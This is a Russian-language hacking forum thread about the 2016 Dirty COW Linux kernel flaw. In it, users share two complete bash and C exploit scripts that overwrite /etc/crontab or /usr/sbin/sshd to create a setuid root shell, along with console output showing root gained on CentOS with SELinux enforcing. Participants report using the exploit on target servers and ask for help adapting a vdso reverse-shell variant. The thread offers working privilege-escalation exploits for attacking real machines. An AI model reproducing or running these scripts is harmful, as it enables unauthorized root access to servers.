Старый 25.10.2016, 20:09   #11
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

вот кароче
Цитата:
#!/bin/bash

cat <<EOF > cow.c
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

char suid_binary[] = "/etc/crontab";
unsigned char shell_code[] = {
0x53, 0x48, 0x45, 0x4c, 0x4c, 0x3d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
0x68, 0x0a, 0x2a, 0x20, 0x2a, 0x20, 0x2a, 0x20, 0x2a, 0x20, 0x2a, 0x20,
0x72, 0x6f, 0x6f, 0x74, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x78, 0x0a,
0x23
};
unsigned int sc_len = 37;



void *madviseThread(void *arg) {
int i,c=0;
for(i=0;i<200000000;i++)
c+=madvise(map,100,MADV_DONTNEED);
}


int main(int argc,char *argv[]){
f=open(suid_binary,O_RDONLY);
fstat(f,&st);
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MA P_PRIVATE,f,0);
pid=fork();
if(pid){
waitpid(pid,NULL,0);
int u,i,o,c=0,l=sc_len;
for(i=0;i<10000/l;i++)
for(o=0;o<l;o++)
for(u=0;u<10000;u++)
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shel l_code+o)));
}
else{
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(),SIGSTOP);
pthread_join(pth,NULL);
}
return 0;
}

EOF
gcc -lpthread -o ./cow ./cow.c
cat <<EOF >/tmp/x
#!/bin/bash
/bin/cp /bin/bash /tmp/sbash
/bin/chmod 4755 /tmp/sbash
EOF
chmod +x /tmp/x
./cow &


while true
do
if [ -f "/tmp/sbash" ]
then /tmp/sbash -p
else
sleep 1
fi
done
через /etc/crontab, проверил на CentOS release 6.7 (Final) - работает.
првада только когда crontab перезагрузит конфиги, так как время модификации не изменяется от эксплоита, ну тут главное принцип.

Последний раз редактировалось tex; 25.10.2016 в 21:40..
tex вне форума   Ответить с цитированием
Старый 25.10.2016, 20:24   #12
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

а так вот посы еще https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
tex вне форума   Ответить с цитированием
Старый 26.10.2016, 02:03   #13
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Твой не тестил, так как у меня на локалке нет crontaba по дефолту (релизы minimal centos).

Сработал по ссылке PoC - c0w.c. https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54
Пока на CenotOS 6.7 Final x86
Пришлось открывать две ssh сессии. Так как он висит бесконечно
1ый терминал:
Цитата:
[user@localhost ~]$ ./c0w

(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap b775e000

^C
В другом терминале каждую секунду вручную выполнял комманду passwd
Примерно через 30 секунд выводил Killed, потом Segmination Fault, потом опять иногда Killed, а потом минуты 2-3 снова только Segmintation Fault. Но на 3ию минуту запустился root шелл. наконецто... При этом эксплоит как висел так том выводе так и продолжал висеть...
Вообщем не понятно такое поведение, в комменте к эксплоиту все намного проще работало)

Жаль в боевых условиях не сработал -на CentOs 6.3 final 2016 года. Висит долго без вывода, потом перед завершением
Цитата:
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000

* ptrace 0
/usr/bin/passwd не изменился..(( Еще тут sestatus: command not found
В то время на локалке он есть
Цитата:
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
Может быть то, что пользователь принадлежит группе mgrsecure о чем-то говорит. Это случайно не grsecure? в uname его нет, а гугл говорит что просто какае-то системная группа от ISPManager. Может кто точнее знает?

Продолжу тестить на других машинах.

Последний раз редактировалось Ravenous; 26.10.2016 в 02:54..
Ravenous вне форума   Ответить с цитированием
Старый 26.10.2016, 15:01   #14
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

PHP код:
#!/bin/bash
if [ ! -"/tmp/sshd.bak" ]
 
then cp /usr/sbin/sshd /tmp/sshd.bak
fi
cat 
<<EOF cow.c
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
char suid_binary[] = "/usr/sbin/sshd";
unsigned char shell_code[] = "#!/tmp/x\n";
unsigned int sc_len 9;
void *madviseThread(void *arg) {
  
int i,c=0;
  for(
i=0;i<200000;i++)
    
c+=madvise(map,100,MADV_DONTNEED);
}
int main(int argc,char *argv[]){
  
f=open(suid_binary,O_RDONLY);
  
fstat(f,&st);
  
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  
pid=fork();
  if(
pid){
    
waitpid(pid,NULL,0);
    
int i,o,c=0,l=sc_len;
    for(
i=0;i<100000;i++)
      for(
o=0;o<l;o++)
          
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
   }
  else{
    
pthread_create(&pth,
                   
NULL,
                   
madviseThread,
                   
NULL);
    
ptrace(PTRACE_TRACEME);
    
kill(getpid(),SIGSTOP);
    
pthread_join(pth,NULL);
    }
  return 
0;
}
EOF
gcc 
-lpthread -./cow ./cow.c
cat 
<<EOF >/tmp/x
#!/bin/bash
/bin/cp /bin/bash /tmp/sbash
/bin/chmod 4755 /tmp/sbash
EOF
chmod 
+/tmp/x
./cow &
echo 
'trying...'
sleep 2
while true
 
do 
  echo > /
dev/tcp/0/22
  
if [ -"/tmp/sbash" ]
    
then killall -9 cow
    rm 
-/tmp/x cow cow.c
    
/tmp/sbash --'rm -f /usr/sbin/sshd; cp /tmp/sshd.bak /usr/sbin/sshd;chown 0:0 /usr/sbin/sshd;chmod +x /usr/sbin/sshd;id'
    
/tmp/sbash -p
    
exit
  else 
#    echo 'trying...'
    
killall -9 cow
    
./cow &
    
sleep 0.2
  fi
 done 
Цитата:
[exp@localhost ~]$ cat /etc/issue
CentOS release 6.8 (Final)
Kernel \r on an \m

[exp@localhost ~]$ sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
[exp@localhost ~]$ ./exp
trying...
trying...
trying...
trying...
uid=502(exp) gid=502(exp) euid=0(root) groups=502(exp) context=unconfined_u:unconfined_r:unconfined_t:s0
sbash-4.1#

Последний раз редактировалось tex; 27.10.2016 в 21:16..
tex вне форума   Ответить с цитированием
Старый 26.10.2016, 19:42   #15
lotos
 
Регистрация: 10.10.2015
Сообщений: 13
Репутация: 0
По умолчанию

5 центось так же пробился
lotos на форуме   Ответить с цитированием
Старый 30.10.2016, 11:45   #16
Acez666
 
Аватар для Acez666
 
Регистрация: 13.12.2010
Сообщений: 10
Репутация: 1
По умолчанию

bash-4.1$ ./0.sh
-bash: ./0.sh: /bin/bash^M: bad interpreter: No such file or directory

Обычно сообщение bad interpreter о «Плохом интерпретаторе» возникает после внесения изменений в скрипт на виндовой машине и загрузке этого скрипта на Linux. Сообщение может быть следующего вида:

?
1
/bin/sh^M: bad interpreter: No such file or directory


норм фаил башевый залейте кот в лине делали плиз
__________________
Hacking (Глубоко. Технично. С удовольствием)
https://twitter.com/acetoacidophil
=====================================
Acez666 вне форума   Ответить с цитированием
Старый 30.10.2016, 11:49   #17
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Цитата:
Сообщение от Acez666 Посмотреть сообщение
bash-4.1$ ./0.sh
-bash: ./0.sh: /bin/bash^M: bad interpreter: No such file or directory

Обычно сообщение bad interpreter о «Плохом интерпретаторе» возникает после внесения изменений в скрипт на виндовой машине и загрузке этого скрипта на Linux. Сообщение может быть следующего вида:

?
1
/bin/sh^M: bad interpreter: No such file or directory


норм фаил башевый залейте кот в лине делали плиз
Скачай dos2unix и выполни, т.к. на таргете его нет
dos2unix script.sh

Последний раз редактировалось Ravenous; 30.10.2016 в 12:09..
Ravenous вне форума   Ответить с цитированием
Старый 30.10.2016, 17:46   #18
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Цитата:
Сообщение от Acez666 Посмотреть сообщение
bash-4.1$ ./0.sh
-bash: ./0.sh: /bin/bash^M: bad interpreter: No such file or directory

Обычно сообщение bad interpreter о «Плохом интерпретаторе» возникает после внесения изменений в скрипт на виндовой машине и загрузке этого скрипта на Linux. Сообщение может быть следующего вида:

?
1
/bin/sh^M: bad interpreter: No such file or directory


норм фаил башевый залейте кот в лине делали плиз


sed -i 's/\r//' ./0.sh
tex вне форума   Ответить с цитированием
Старый 30.10.2016, 19:24   #19
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

https://asciinema.org/a/4hycvefmeh7qa4x3s8t3n79sf
оригинальный вариант через /etc/group и sudo
tex вне форума   Ответить с цитированием
Старый 13.11.2016, 22:02   #20
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Из за того, что сервер под jail'ом кроме как этого варианта ничего не применить https://github.com/scumjr/dirtycow-vdso
Первый раз он отработал успешно, но на второй раз он не хочет работать
Цитата:
./0xdeadbeef[*] payload target: 127.0.0.1:1234
failed to find a place for the payload
Вариант с перезагрузкой сервера не подходит в моем случае.
Автор пишет мол легко изменить, но не говорит как)
https://github.com/scumjr/dirtycow-vdso/issues/6
Цитата:
scumjr commented 17 days ago
This is your machine, right? Just reboot it. Otherwise, the exploit can be slightly modified to achieve your goals.
Может кто-нибудь подскажет?
Ravenous вне форума   Ответить с цитированием
Ответ

Метки
linux, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot